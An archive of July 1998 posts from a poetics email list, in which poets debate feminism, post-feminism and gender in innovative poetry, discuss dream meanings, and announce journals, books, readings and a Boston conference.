yes, I agree, (you wrote "the only "true" source of politics in poetry consists in the innovation of form") but I think you perhaps misread me. I wasn't talking about "gender [as] . . .a deep source of voice" -- That is exactly the facile premise that MOVING BORDERS allows us to move away from. I agree that many "women's anthologies" come to that, but MOVING BORDERS doesn't. I also have a problem with _needing_ a women's anthology at this point in time as it is a sort of ghettoization. But as Todd Baron points out, we are having this conversation so we need it. If not a ghetto than MOVING BORDERS serves to collect (and allow readers to compare) the thought of innovative women poets of 2+ generations. We may reveal that feminism, a feminist poetics, is many things and in varying degrees concerned with gender at all. "Feminism _in_ poetry" is different (and yes, often voice based) from poetry that comes out of a

feminist awareness of one's context -- which is operative in the poets I mention -- scalapino, howe, hejinian etc.

you say, in an interesting dialogue to Elizabeth Treadwell's (et al
-- i don't know the post she originally lifted from)
wonderings of about a week ago
> The question of moving the love poem away from "constructions
> of the self" is another part of this; it's not what you see,
> it's how.

I agree. Tradition is masculine (created by men), true, but labelling it thus is a problem. Male does not equal masculine. This has been reductive reasoning (necessarily so) on the side of feminist scholars. I'm interested in how we can talk about these things (power structures -- as tradition is a power structure that "feminizes" certain people who approach it -- I mean it "disempowers" them -- it has nothing to do with gender in the end.)

and my point is that we label "feminist" a focus on gender in relation to literary history -- our fault is not in labeling certain poets/ approaches femininst (always women!! when I'm sure many men on this list will and have come forward to say they consider themsevles (post)"feminist") But to confine our investigation of a gendered relation to tradition to Women.

And this is perhaps my most important point:

you say
>Even the gender of
> the author is immaterial to the extent that it does
> not cause a shift in the methods of creation,

I disagree, though, on the "materiality" of gender when approaching tradition. Gender ISN'T immaterial, it DOES cause a (particular) shift According to Waldrop, (as recorded in Bernstein's _Politics of Poetic Form_). the "main device"of _The Road is Everywhere orStop This Body (Open Places, 1978): is that the object of one phrase turns into the subject of the next phrase without being repeated. I was interested in extending the boundaries of the sentence . . .. However, it also comes out of my feminist preoccupation . . . I propose a pattern in which subject and object function are not fixed, but temporary, reversible roles, where there is no hierarchy of main and subordinate clauses, but a fluid and constant alternation. (61) Waldrop deals with a theme of feminism though not "as theme." Since "the woman as `love object' is a prevalent archetype in our culture" this technique, Waldrop explains "has definite feminist/political implications." "Of course," Waldrop adds, "this is hindsight. Consciously, I was working on a formal problem"(66).

ALL relations cause a particular shift though. e.g. we read celan as having a "feminized" ("disempowered" i.e. as a jew) relation to his language.

-- linda russo

p.s. simon thanks for responding. I wondered if anyone would respond.

Simon DeDeo wrote:
> I can't remember if this topic was covered
> here or on the British Poet's list, but the question
> of feminism in poetry is similar to the question of
> political action in general. I've made this point
> before, but again: the only "true" source of politics
> in poetry consists in the innovation of form. Subject
> matter is forceless, because there are far more effective
> means of conveying political beliefs than a poem, and
> it's more often than not the poorer poems that are the
> most effective political cants. Even the gender of
> the author is immaterial to the extent that it does
> not cause a shift in the methods of creation, although
> I don't mean to dismiss anthologists who seek to include
> women -- gender often is a deep source of voice.
> > And another question:
> > How can forms be "masculine" when, though, they were
> > "created" by men, they were done (usually) intensely in relation to
> > "woman" (no matter how facile and passive his construction of her?)
>
> I think you've sort of answered your own question here;
> with a basic idea of how poets create -- through a combination
> of observation and language -- there seems to be no reason
> that the Poetics of the "male gaze" (yadda, yadda) would
> bear any relation to that that might be written by a woman.
>
> The question of moving the love poem away from "constructions
> of the self" is another part of this; it's not what you see,
> it's how. One doesn't expect an 18th gynecologist and a 20th
> century midwife to concur in their visions of a woman; the
> difference would arise from the point of view of a third person.
> "Gynceological", "Masculine", is how we label them.
>
> -- Simon
>
> http://www.fas.harvard.edu/~sdedeo/localpapers.html
> [redacted]

> [redacted]
> [redacted]
>
>

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544. linda russo
Guest (for Notley)
Mon 20 Jul 1998

I had an intersting dream last night. Barbara Guest had been asked to give an unrehearsed reading of a new female playwright. I was in the audience (naturally) with my partner (Chris Alexander) (naturally). Guest would look at the script and memorize a bunch of lines very quickly and then read them, between gulping from a glass of water. She didn't look quite nervous and I thought it was very interesting but I reflected on the nature of what "experimental" "women's" theatre HAD TO say, without having any context to know exactly. I found I was then looking at a t.v. screen, which was televising the very same performance. The color on the screen was tweeked a little and looked sort of neat. Thinking I should look at the person and not the image. Looking back and forth a bit. More worried than confused. Woke up. Can anyone tell me what this means?

Linda Russo

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545. Jordan Davis
Jamie MacInnis
Mon 20 Jul 1998

Larry Fagin's here in the office right now.

He says to say he hasn't heard from her in a long time, and that although no one knows whether she's alive, no one has heard that she died. As for her work, Larry says there is no more than what he has.

Jordan

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546. **Katherine Lederer**

Announcing SHARK, a magazine of poetics

Mon 20 Jul 1998

S H A R K :

A journal of poetics and art criticism

Edited by Emilie Clark and Lytle Shaw

Announces the publication of its first issue,
on the "pre-poetic" featuring:

-Dodie Bellamy, "A Poetics of Boundary Problems"
-Gregg Biglieri, "The Torsion of Thought"
-Mary Burger, "Abjectivist Festschrift"
-Emilie Clark, "Some Ladies in Diagram"
-Alex Cory, "Monologue for SHARK"
-Adam DeGraff, "Poetic Statement"
-Craig Dworkin, "The Brack of Meaning"
-Dmitry Golynko-Volfson, "Walking Past the Church of the French Consulate"
-Robert Hale, "Opposition to Return"
-Lyn Hejinian, "Reason"
-Kevin Killian, "The Pre-Poetic"
-Katy Lederer, "Surprise and the Appropriate: Appropriate Surprise"
-Pamela Lu, "Inappropriations"
-Laura Moriarty, "Simultaneous Journal"
-Eugene Ostashevsky, "Dmitry Golynko-Volfson and New Petersburg Poetry"
-Leslie Scalapino, "Footnoting"
-Lytle Shaw, "The Historical Sentence"
-Mark Shepard, "Situating the Device: Arverne, New York and an Urbanism
of Stillborn Renewal"

Issue #1 costs $8; a year's subscription (two issues) is $14 We pay postage

Send Email Requests to:
[redacted]

Mail:
SHARK
74 Varick Street #203
New York, NY 10013

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547. **Douglas Barbour**
Re: Lost Time
Mon 20 Jul 1998

I remain a user of computers & the net who simply doesn't understand the hardware, but pieces like this do tickle my funny bone. The piece is itself an analytical engine of sorts, & it works. Thanks again, Alan.

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> By stress and syllable
> by change-rhyme and contour
> we let the long line pace equal awkward to its period.
>
> The short line
> we refine
> and keep for candor.
>
> Robert Duncan

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548. **Maria Damon**
Re: forgotten women
Mon 20 Jul 1998

At 5:32 PM -0700 7/18/98, [redacted] wrote:
... The strangest case of "forgotten women" in the
>Spicer crowd is that of Jamie MacInnis, the super-talented San
>Francisco-born poet with whom Spicer became acquainted in his final years.
>She lived on after him and continued to write some stunning poems, but
>nobody now knows where she is or even if she's alive or dead!...

in 1977 larry fagin showed me her work and said she was his best friend. he might know her whereabouts, give him a call.

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549. **Simon DeDeo**
Re: I'm ba-ack
Mon 20 Jul 1998

Also back, after a short hiatus from work.

> *The argument about Lowell begin a puppet of the new criticism goes back to Perloff's _The Poetics of Indeterminacy_; there is a nice demonstration of the way in which the early Lowell seeds his work with symbols and paradoxes in anticipation of New Critical classroom exegesis. Of course, calling him a puppet is rather crude--isn't it more of a convergence of interests? The New Critics might be Lowell's puppets just as plausibly.*

I haven't read the essay, so I'm not sure if the "seeding" is discussed as anything more than a textual artifact (i.e., no incriminating letters from Lowell). In that case, it just seems to be another example of the way criticism and poetry depend on each other in the 20th century, and, indeed, in any other century. Did Shakespeare "seed" Hamlet with melancholy so that the psycologies of the time would see their theories mirrored on the stage?

> *The Rasula analysis of Lowell is devastating and for me irrefutable; this does not mean that Lowell does not transcend his "institutional" role within the wax museum, but I am not the person to ask since my aversion to Lowell's work is tempermental and visceral. I realize he is hugely accomplished and great in his own way--I just can't stand him.*

Which years of Lowell can't you stand? I personally don't care for some of his later work -- _Histories_ seems a royal pain in the ass, a sort of failed hermeticism. He tried to be Yeats, but failed ("failed utterly"). But it seems as if there is a lot of difference in his early (and much later) work. If the list has polarized into camps in my absence, then I'm certaintly on Lowell's side. Again, I'm not familiar with the "wax museum" book, so if I've missed the point, apologies. Does Plath get the same treatment from Perloff? I would assume that she could also easily be accused of New Critical pandering, but Perloff, as I remember, writes very highly of her in places.

What is the difference -- morally speaking -- between seeding your work with Leavis and taking a liberal helping of Derrida? It doesn't matter if you like Derrida more; as countless poetic failures in our time testify, it's not the source, but the channeling.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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550. **Linda Russo**
post-Fem/For you Guys too
Mon 20 Jul 1998

Todd Baron (and months of burying my head in Margy Sloan's Moving Borders) prompted this response:

To my mind, any innovative writing (by a femininst) that challenges, innovates on, problematizes, makes interesting, or moves away from an identity/voice-based poetics (which employs lyric forms so called "masculine" in this context because they're "traditional" and tradition, created by men, is "masculine") is necessarily post-feminist (i.e. moving away from 1st and 2nd wave feminist agendas -- giving voice to women's experience, recovering erased women, creating an exclusively "women's cannon," and working to be inclusive of other oppressed identities, etc.)

That puts writers like Alice Notley, Leslie Scalapino, Joan Retallack, and Lyn Hejinian in interesting positions, as they all work toward an ungendered poetics (i.e.not priviliging the experiences of women, or viewing innovative writing practices as somehow "feminine" counterparts to the "masculine" tradition -- tho Retallack holds onto this distinction most strongly, and makes it most useful) while retaining (and now I have to add Susan Howe to the list, but it of course continues to grow) a feminist awareness of literary history.

Alice Notley once wrote "you can't have your own tradition, it's not nice" though she's repeatedly invested in configuring a "woman's epic" -- how a woman can write (through) a traditionally masculine form.

I find this the most interesting challenge facing women writers today -- but doesn't it also face men writers? They face the same tradition, and and have every reason and right to challenge the (cultural) construction of their gender and of "our" tradition (I mean by "our" not as a gendered distinction but the fact that cultures, via literary history, construct traditions -- so we're all sort of faced with this thing to go to work on -- is it really "ours," this inheritance?

Yesterday was the 150th anniversary of Caddie Stanton et al's Womens Declaration -- modeled after that "masculine" form, it reads as a sort of "fill in the blanks" substitute "woman" for "man." It's not as simple as all that -- but I wonder whether and how men respond to tradition. Why I feel obliged (in a way) to read (almost exclusively at this point of my bread-crumb spewing) women writers. I'm well aware that men read women & vice versa -- I don't have a problem with women being "under-represented" (that makes me a post-feminist)(even though I'd like to see more talk that I feel really invested in on this list). But I wonder why the problematic way that "tradition" has treated/"constructed" gender is presently a "woman's problem."

And another question:
How can forms be "masculine" when, though, they were
"created" by men, they were done (usually) intensely in relation to
"woman" (no matter how facile and passive his construction of her?)

all yours in words,

linda russo

On Fri, 17 Jul 1998, toddbaron wrote:

> *No, we not beyond any discussion that continues*
> *to be one. Lately all sorts of news on the radio (KPFK here) about*
> *post-feminist ideologies and--to my mind--we need more more more! The*

↑ Index

551. **Simon DeDeo**
Re: post-Fem/For you Guys too
Mon 20 Jul 1998

---

linda --

I can't remember if this topic was covered
here or on the British Poet's list, but the question
of feminism in poetry is similar to the question of
political action in general. I've made this point
before, but again: the only "true" source of politics
in poetry consists in the innovation of form. Subject
matter is forceless, because there are far more effective
means of conveying political beliefs than a poem, and
it's more often than not the poorer poems that are the
most effective political cants. Even the gender of
the author is immaterial to the extent that it does
not cause a shift in the methods of creation, although
I don't mean to dismiss anthologists who seek to include
women -- gender often is a deep source of voice.

> *And another question:*
> *How can forms be "masculine" when, though, they were*
> *"created" by men, they were done (usually) intensely in relation to*
> *"woman" (no matter how facile and passive his construction of her?)*

I think you've sort of answered your own question here;
with a basic idea of how poets create -- through a combination
of observation and language -- there seems to be no reason
that the Poetics of the "male gaze" (yadda, yadda) would
bear any relation to that that might be written by a woman.

The question of moving the love poem away from "constructions of the self" is another part of this; it's not what you see, it's how. One doesn't expect an 18th gynecologist and a 20th century midwife to concur in their visions of a woman; the difference would arise from the point of view of a third person. "Gynceological", "Masculine", is how we label them.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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552. **Simon DeDeo**

(no subject)

Mon 20 Jul 1998

Just arrived today from Australia -- Anthony Lawrence's
New & Selected; I've lost your address, Anthony, so I
can't thank you directly. Work has officially ceased while
I drink coffee and browse. I was pleased to see a Elegy
for Berryman; rather appropiate, since that's what the
man spent his own life writing; I was also very interested
to catch a glimpse of your _Bird Calls_. In any case,
thank you very much for sending it along, and I now
vacate the machine for the day.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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553. **Alan Jennifer Sondheim**

Re: Guest (for Notley)

Mon 20 Jul 1998

Does a dream have to mean? We tend to find associative meanings with anything, but dreams, which can be the mind's attempt to structure random neural firings on another level (the randomness seems to increase with temperature, and the dreams become more surrealist), may mean nothing at all.

In general, that is "difficult to deal with" - this nothing at all, just as what is taken as an omen is only the falling of a brick or a piece of the sky.

In the post it is unclear if looking at the person instead of the image is looking _at the person_ instead of the television; perhaps the person is on television, in television, perhaps we are all Guests of the real in such a fashion.

Alan

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554. **Mark Prejsnar**
Re: post-Fem/For you Guys too
Mon 20 Jul 1998

Linda,

as a male poet who has tried in various ways to respond to patriarchy *as well as* (and also, inseperable from) other social and political violences, encoded in and ongoing in our day-to-day world.....

--i will throw out a couple of thoughts.

I believe there *are* responses to gender oppression and disequalibrium, in some high-profile male poets. My first thought would be to mention Bruce Andrews, whose responses are certainly rent and explosive (as well as implosive..); very problematic much of the time. Also urgent and brilliant and i feel i've learned a lot from his work and theory. I Don't Have Any Paper remains a very disturbing (i use the word as praise, mostly anyway) exploration of (among other things) the way masculine experience is cognitively structured by experiencing otherness as violence (and responding in kind, with violence and rage).

Pretty much the opposite, in poetic temperment, is Bernstein, who certainly twists and yanks at tattered threads of unraveling gender uptightness...and does so for (with, by means of) laffs.

Probably there are male poets who have been influenced by contemporary female poets in their responses to genderpol. Speaking for myself, S. Howe has been central, in presenting a temperment equally different from CB's wackiness and BA's furor: a nuanced focus on how a consciousness can respond to history, to the violences clenched in history, by means of an empathy that tries not to be swept up and violated, that strives also to avoid generating counterviolence as its tool of self-being..

mark p.
@lanta

↑ Index

555. **joel lewis**
f.y.i.
Mon 20 Jul 1998

*** Still mourning Diana? Shouting 'Hoo' may help

The followers of Indian free-love guru Bhagwan Rajneesh have advice for the legions of people still traumatized by the death of Princess Diana. Osho Dynamic Meditation, created as a way "to help modern man release accumulated grief and tension before moving into silent meditation," should help, the cult said Monday. The one-hour drill starts with "deep, fast, chaotic" breathing to bring up repressed tension followed by "total catharsis," or the throwing out of all that has been stirred up by the breathing. Diana fans are then advised to jump with arms raised, shouting the Sufi mantra "Hoo!" Once that is accomplished, they are told to be still and silent, and finally "celebrate through dance." See http://www.infobeat.com/stories/cgi/story.cgi?id=2555159162-de7

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556. **sylvester pollet**
Re: Guest (for Notley)
Mon 20 Jul 1998

At 1:57 PM +0000 7/20/98, linda russo wrote:
>I had an intersting dream last night. Barbara Guest had been asked
>to give an unrehearsed reading of a new female playwright. I was in
>the audience (naturally) with my partner (Chris Alexander) (naturally).
>Guest would look at the script and memorize a
>bunch of lines very quickly and then read them, between gulping from
>a glass of water. She didn't look quite nervous and I thought it was
>very interesting but I reflected on the nature of what "experimental"
>"women's" theatre HAD TO say, without having any context to know
>exactly. I found I was then looking at a t.v. screen, which was
>televising the very same performance. The color on the screen was
>tweeked a little and looked sort of neat. Thinking I should look at the
>person and not the image. Looking back and forth a bit. More worried
>than confused. Woke up. Can anyone tell me what this means?
>
>Linda Russo

Could mean it's time you wrote a play. Good luck with it! Sylvester

↑ Index

557. **Simon DeDeo**
Re: post-Fem/For you Guys too
Mon 20 Jul 1998

---

linda --

I think you're right to call me on the phrase "gender as a deep source of voice", which is pretty vague. What I had in mind, however, began with the idea that one's use of language arises in part out of where you've been in the past and to what uses you've seen language put. If one considers the differences in societal experience that arise from gender, it seems as if the "oddity" of female experience with society's use of word would lead to different direction in style. In retrospect, I think I overestimated such influences -- looking at, say, the Modernists, there are far more differences between poets than there are between genders; sort of like S.Gould's point that there is far more variation within a race than across racial boundaries.

> *Tradition is masculine (created by men), true, but labelling it thus is a problem. Male does not equal masculine.*

I guess I have a lot of trouble distinguishing "male" from "masculine" without descending into a deep analysis of society's conception of the masculine. "Male" is biological; that we can all (?) agree on, up to the Foucalt limit. To call celan's language "feminized" sounds strangely quaint, a little like calling a particular philosophy "womanish". I saw a book once called "Nietzsche for Women".

But maybe Foucalt has a point here -- if what we consider "rock solid" notions of gender are seen, by an examiniation of the points of rupture, to arise less from any potentially objective criteria, but instead from threads of discourse, where does that take us?

I guess I don't quite understand how you take gender to be in some way _material_ without returning to the reception of woman in society. Your point seems very interesting, however -- I like the way Waldrop problematizes the whole issue by bringing

up the political implications of a formal stance
("old school feminism"?) and then retracts them
from discussion by noting that she was working on
"a formal problem". At the risk of breaking Adorno's
dictum and paraphrasing a philosophical stance,
is Waldorf coming out and saying that certain formal
modes where, for e.g., "subject and object function
are not fixed", are essentially gendered? That there
is some occult connection between the female body
and language? How can a feminist poetics, as you
say, be potentially "unconcerned" with gender? Isn't
gender the sine qua non? Or is it just the starting
point? From there, to where does it go?

There is a danger, of course, that "postfeminism"
might end up looking like New Criticism -- an analysis of
formal structures within a "self contained and democratic
whole".

As a side note, I wonder what the "theoretically apatheic"
folk on the list think about the problem, since Waldorf's
point seems to be a retreat from traditional activist
notions of poetry. Henry, others?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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558. **rsillima**
Poetry Daily
Mon 20 Jul 1998

I thought I ought to note that Poetry Daily (normally pronounced "Dully") --
www.poems.com -- is making an exception to its usual fare this week and will
feature poems next weekend by the following:

Saturday - Rae Armantrout
Sunday - Michael Palmer

The site also has links to lots of stuff, including whatever is the latest in the
mainstream media. There's a shortlist for some prize in the UK that will make
you cringe.

Ron

↑ Index

559. **rsillima**
Bay Area representationalism
Mon 20 Jul 1998

Poultry Doily --- www.poems.com -- also has a link to an article in one of the SF papers about the search there for a Poet Laureate (does one hear Kathleen Fraser's name? Palmer's? Rakosi's? Gluck's? Killian or Bellamy? Myung Mi Kim?

In addition, the SF Chronicle has a contest going on the "Best of" for the Bay Area -- you can get to it quickly through www.sfgate.com -- and there is a category for East Bay Bookstore that seems just made for Small Press Distribution. It would be good to give it support -- SPD is really a national (even international) resource.

There's also a "best Bay Area author" selection that I'd hesitate to make any suggestions about, but it would be great to see a bunch of poets get votes.

Ron

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560. **Tom Beard**
Dream meanings
Mon 20 Jul 1998

Alan said:

> *Does a dream have to mean?*

Which reminds me of something the Brothers Quay (who made the extraordinary film _Institute Benjamenta_, among others) said, when challenged about the lack of narrative structure in their films; something along the lines of "No-one says, 'I had this amazing dream last night, but it had such a lousy story'".

BTW Alan, you may be interested in the following url (you may already know about this):

http://foner.www.media.mit.edu/people/foner/Julia/Julia.html

"You say, `what is e?' to Julia.
Julia says, `The most common English vowel?'
You say, `what is e?' to Julia.
Julia says, `I think it's about 2.71828182845904523536.'
You say, `what is e?' to Julia.

Julia starts to smoke. `Oh no, this doesn't end! Help me, help me!' she cries".

Tom Beard.

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561. **trbell**
Re: Guest (for Notley)
Tue 21 Jul 1998

The description of dreams as 'attempt to structure random neural firings' is too often taken a step further to dismissing dreams as therefore meaningless. Is not poetry an attempt to do the same with life's random firings?

Language can either anchor meaning in an image or else helps serve a relay function to put the image into relation with other elements in a complex structure. - Barthes

is it not then the image (or dream) that really matters or means?

tom bell

At 03:56 PM 7/20/98 -0400, you wrote:
>Does a dream have to mean? We tend to find associative meanings with any-
>thing, but dreams, which can be the mind's attempt to structure random
>neural firings on another level (the randomness seems to increase with
>temperature, and the dreams become more surrealist), may mean nothing at
>all.
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>In general, that is "difficult to deal with" - this nothing at all, just
>as what is taken as an omen is only the falling of a brick or a piece of
>the sky.
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>In the post it is unclear if looking at the person instead of the image is
>looking _at the person_ instead of the television; perhaps the person is
>on television, in television, perhaps we are all Guests of the real in
>such a fashion.
>
>Alan
>
>

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562. Alan Jennifer Sondheim
Re: Guest (for Notley)
Tue 21 Jul 1998

On Mon, 20 Jul 1998, trbell wrote:

> *The description of dreams as 'attempt to structure random neural firings' is too often taken a step further to dismissing dreams as therefore meaningless. Is not poetry an attempt to do the same with life's random firings?*

This depends on how "meaning" is defined - as symptom, portent, or as something acceptable to the mind as constituting sense.

I would never go so far in relation to poetry unless one wants to say everything is such an attempt.
>
> Language can either anchor meaning in an image or else helps serve a relay
> function to put the image into relation with other elements in a complex
> structure. - Barthes
>
> is it not then the image (or dream) that really matters or means?

No, why or how? And what is meant by "really" here? I would be wary of assigning priority.

Alan

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563. toddbaron
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

Linda Russo wrote:
>
> Todd Baron (and months of burying my head in Margy Sloan's Moving
> Borders) prompted this response:
>
> To my mind, any innovative writing (by a femininst) that challenges,
> innovates on, problematizes, makes interesting, or
> moves away from an identity/voice-based poetics (which employs lyric
> forms so called "masculine" in this context because they're
> "traditional" and tradition, created by men, is "masculine")
> is necessarily post-feminist
> (i.e. moving away from 1st and 2nd wave feminist agendas -- giving
> voice to women's experience, recovering erased women, creating an
> exclusively "women's cannon," and working to be inclusive of other

> oppressed identities, etc.)
>
> That puts writers like Alice Notley, Leslie Scalapino, Joan Retallack,
> and Lyn Hejinian in interesting positions, as they all work toward an
> ungendered poetics (i.e.not priviliging the experiences of women, or
> viewing innovative writing practices as somehow "feminine" counterparts to
> the "masculine" tradition -- tho Retallack holds onto this distinction
> most strongly, and makes it most useful) while retaining (and now I have
> to add Susan Howe to the list, but it of course continues to grow) a
> feminist awareness of literary history.
>
> Alice Notley once wrote "you can't have your own tradition, it's not nice"
> though she's repeatedly invested in configuring a "woman's epic" -- how a
> woman can write (through) a traditionally masculine form.
>
> I find this the most interesting challenge facing women writers today --
> but doesn't it also face men writers? They face the same tradition, and
> and have every reason and right to challenge the (cultural)
> construction of their gender and of "our" tradition (I mean by "our" not
> as a gendered distinction but the fact that cultures, via literary
> history, construct traditions -- so we're all sort of faced with this
> thing to go to work on -- is it really "ours," this inheritance?
>
> Yesterday was the 150th anniversary of Caddie Stanton et al's Womens
> Declaration -- modeled after that "masculine" form, it reads as a sort of
> "fill in the blanks" substitute "woman" for "man." It's not as simple as
> all that -- but I wonder whether and how men respond to tradition. Why I
> feel obliged (in a way) to read (almost exclusively at this point of my
> bread-crumb spewing) women writers. I'm well aware that men read women
&
> vice versa -- I don't have a problem with women being "under-represented"
> (that makes me a post-feminist)(even though I'd like to see more talk that
> I feel really invested in on this list). But I wonder why the problematic
> way that "tradition" has treated/"constructed" gender is presently a
> "woman's problem."
>
> And another question:
> How can forms be "masculine" when, though, they were
> "created" by men, they were done (usually) intensely in relation to
> "woman" (no matter how facile and passive his construction of her?)
>
> all yours in words,

>
> linda russo
>
> a wonderful re-spone--to co-respond--and that men's or masculine forms confuse me--other than saying--that when I walk into a skyscraper--so to speak--I KNOW i'm in a form that came from many men's pressurized ways of thinking--and that I find no interest in that--nor the sonnett--IF I think of the form in that way--but once I pay attention to the form itself--then--then-it becomes of interest as a form outside of gender--

and hgow to respond then--other than--write with it--against it--towards it--and include it in the dialeltic that a poem can be. Gender is

in relation to an other.
then.

Tb
(ReMap)

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564. **toddbaron**
self promotion
Tue 21 Jul 1998

Spencer Selby
Todd Baron

read
July 24th
7:30 pm
Beyond Barqoue

---

please attend if you're in town
please attend if you're not

↑ Index

565. **toddbaron**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

Linda Russo wrote:
>
> Todd Baron (and months of burying my head in Margy Sloan's Moving

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> (i.e. moving away from 1st and 2nd wave feminist agendas -- giving
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> construction of their gender and of "our" tradition (I mean by "our" not
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> history, construct traditions -- so we're all sort of faced with this
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> bread-crumb spewing) women writers. I'm well aware that men read women
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> (that makes me a post-feminist)(even though I'd like to see more talk that
> I feel really invested in on this list). But I wonder why the problematic
> way that "tradition" has treated/"constructed" gender is presently a
> "woman's problem."
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> And another question:
> How can forms be "masculine" when, though, they were
> "created" by men, they were done (usually) intensely in relation to
> "woman" (no matter how facile and passive his construction of her?)
>
> all yours in words,
>
> linda russo
>
>
my last response was sluggish--tired--too:

to re-state:

Gender then is a role we are put into and take on--
I find interest in a response to and notice of gender
as a social and written tool--but
the attention paid to such as a poet doesn't interest me
though the forms (sigh) do:

sonnett as skyscraper
shakespeare as Mies

take them apart to see wherer one lives
and renotgiate the halls--

Is there a "masculine" form? The Epic?
Is history retold as a sequence of (told) lies
of the victor? The victor then reframing HimSelf
as male?

Tb

↑ Index

566. **linda russo**
SF READINGS ?
Tue 21 Jul 1998

Susan Schultz posted to the list a while back; she's reading with Douglas Rothschild and another at Canessa Park in San Francisco on Sunday July 26

Does anyone know what TIME that would be happening? And any other readings in SF this weekend? Is that heat wave from April '97 over yet?

thanks -- & if you're at readings, please come say hello to me -- I'll be hard to pick out of a crowd but Chris Alexander is rather distinguished looking.

yrs in words,
Linda Russo

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567. **Henry Gould**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

Responding to the various threads of this thread, I'd like to recommend a book that has really turned my head around on some of these issues & I wonder if others have read it too. The book is _Bardic Ethos and the American Epic Poem_ by Jeffrey Walker.

One thing Walker does is analyze the long poem as a specific development out of Whitman & Emerson, that WITHIN a a challenging "alternative" rhetoric (Whitman's free-verse democratic open-shirted rough), encodes an elitist and authoritarian message: American culture must be transformed by a select group of transcendental literati speaking an archaic shamanistic poetic speech AGAINST the rationality of civil society. Walker argues that Pound took this approach to its limit and Crane, Williams, and Olson followed in the same tradition (anyone who wonders at the idea of Williams' "elitism" should read some of the quotes Walker includes from IN THE AMERICAN GRAIN: ie. "puritanism" has resulted in "a generation universally eager to barter permanent values (the hope of an aristocracy) in return for opportunist material advantages..." and later in the same text, Williams claims that an aristocracy is "the flower of a locality and so the full expression of a democracy".

I don't want to get into a long illustration of Walker's book; only to point out that the traditions of innovation and experiment - both male-oriented and feminist - have been heavily influenced by the Whitman-Pound STANCE toward traditions and society, and their approach to epic and poetry should be seen as culturally & historically specific (even peculiar). Their approach to writing has had enormous influence on the "alternative' tradition to this day.

I would disagree with Simon that technique rather than subject matter is where the "alternatives" are marked; I would disagree with Notley & Waldrop (if that's what they're saying) that formal innovation is the only challenging writing. In my view the subject & the technique can't be separated, and a really innovative writing today might implement the "ars est celare artem" or "art is to hide art"

approach: developing a "modest" style which foregrounds the real history or real story.

I would also suggest that the strictures against "male voice" should not throw writers uncritically into the experimental-formalist camp; Walker's book shows clearly how Whitman's, Pound's, Williams's "abysmal" rhetoric of anti-rational collage have been applied to the most archaic (shamanistic) and authoritarian rhetorical programs of our age. The crux of the problem is the foregrounding of the heroic shaman as exemplar and leader, as opposed to the true "subject" of democracy, which is not a leader but a process of political covenanting and agreement, or peacemaking.

- Henry Gould

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568. Andrea Brady
New Book by Jordan Davis (for uber list) (forwarded)
Tue 21 Jul 1998

Barque Press gladly announces the publication of Jordan Davis' new book, 'Poem on a Train'

a sustained and self-interrupting (round-)trip (NY to Providence, initially)

e-mail Keston Sutherland for a copy, at

[redacted]

#3.50 / $6.00 incl. p&p. (Barque subscribers will receive a copy very soon, thanks)

Please support our Press!

(also available from the Barque crypt: JORDAN DAVIS' _UPSTAIRS_, J.H. Prynne's _Red D Gypsum_, Andrea Brady's _open bond_ and _Of Sere Fold_, Keston Sutherland's _Girls At Trusion_ and _At The Motel Partial Opportunity_, James Lucas' _hex_ and _Body Clock_ - e-mail Keston for copies)

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569. Maria Damon
yo silliman finch et al
Tue 21 Jul 1998

---

so, like, could one request a precis of your experiences at the westchester formalist boot camp? did it happen, i mean, your workshop? how'd it go? how'd you like it? wd yuou do it again? were people receptive? etc

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570. **Maria Damon**
query
Tue 21 Jul 1998

At 1:31 AM -0400 7/21/98, Alan Jennifer Sondheim wrote:
etc

yo alan and others, does anyone have access to or know how to find that sondheim poem of some time ago that went "A lake you a lattle bat," etc? Alan i looked at your website A-Z and couldn't find any of the poems you'd posted to POETIX, so maybe there's another site where i'd find 'em? unfortunately i don't remember titles. thanks.

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571. **daniel bouchard**
Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

When the New York poets come into town you've got to lie about Time and Space. For example, a New England poet who lives 10 minutes from the Conference Space will tell the New York poets that the Conference Space is a ten minute walk. The New England poet plans to leave for the Conference Space about fifteen minutes before the starting time. OK, say the New York poets. At 18 minutes before the starting time, however, the New York poets decide they each need a shower. The New England poet will never learn.

But this is cool (not to mention exaggerated) and only mentioned as a starting point. We—-Drew, Douglas, Dave, and I—-made the walk with no problem save that Harvahd Yahd was blocked off by construction fences on the interior so that we had to skirt along the alleys of the Yard and miss the strange cliché of its bucolic interior. We arrived just as Aaron was speaking which gave us, me at least, no time to talk to anyone. This is ideal when reading.

Some places from which people traveled for the alternative Boston conference this weekend at 56 Brattle Street, a limestone's throw from the Longfellow House: New York, Los Angeles, Toronto, Buffalo, Providence, San Francisco, and Japan.

What was learned?

1) Only poets would spend a 3 day weekend in a hot and cramped room for up to, or over, 12 hours a day on a beautiful, sunny weekend and be very excited about it.

2) If the conference is deemed "alternative," then anything goes. I slipped a Robert Frost poem into my reading ("The Vantage Point") and heard a distinct,

pleasurable "hmphh" come from outside the veil of U-V lights. It was my backyard; I had to do it.

I decided not to read the short poem about how lousy it is to be in a room full of milling poets. This is because I was a reader, and that produces a kind of rush for me. Besides, my "I Make a Pact with you Ron Silliman" poem fell flat. Not a giggle was heard. People told me later that I read it as something very serious, but I have always cried the tears of a clown.

Drew's reading was fantastic. It is unusual that I was able to hear it (having just read, and playing back my own reading—-so egocentrically!-—in my mind) but his opening was sharp and irresistable: "I can tell by the way you dress that you're a cowboy." (Roughly.) And his reading was paced so that in the silences I became expectant of the poems, waiting, paying more attention; and as Drew read more, the energy soared.

During Will Alexander's reading I must admit that I lapsed into space. I bounced back for Fanny Howe however. I was so engrossed by her reading that when she stopped I thought my watch was dead. She only read for 10-15 minutes. It seemed, richly, like much longer. And I wanted more.

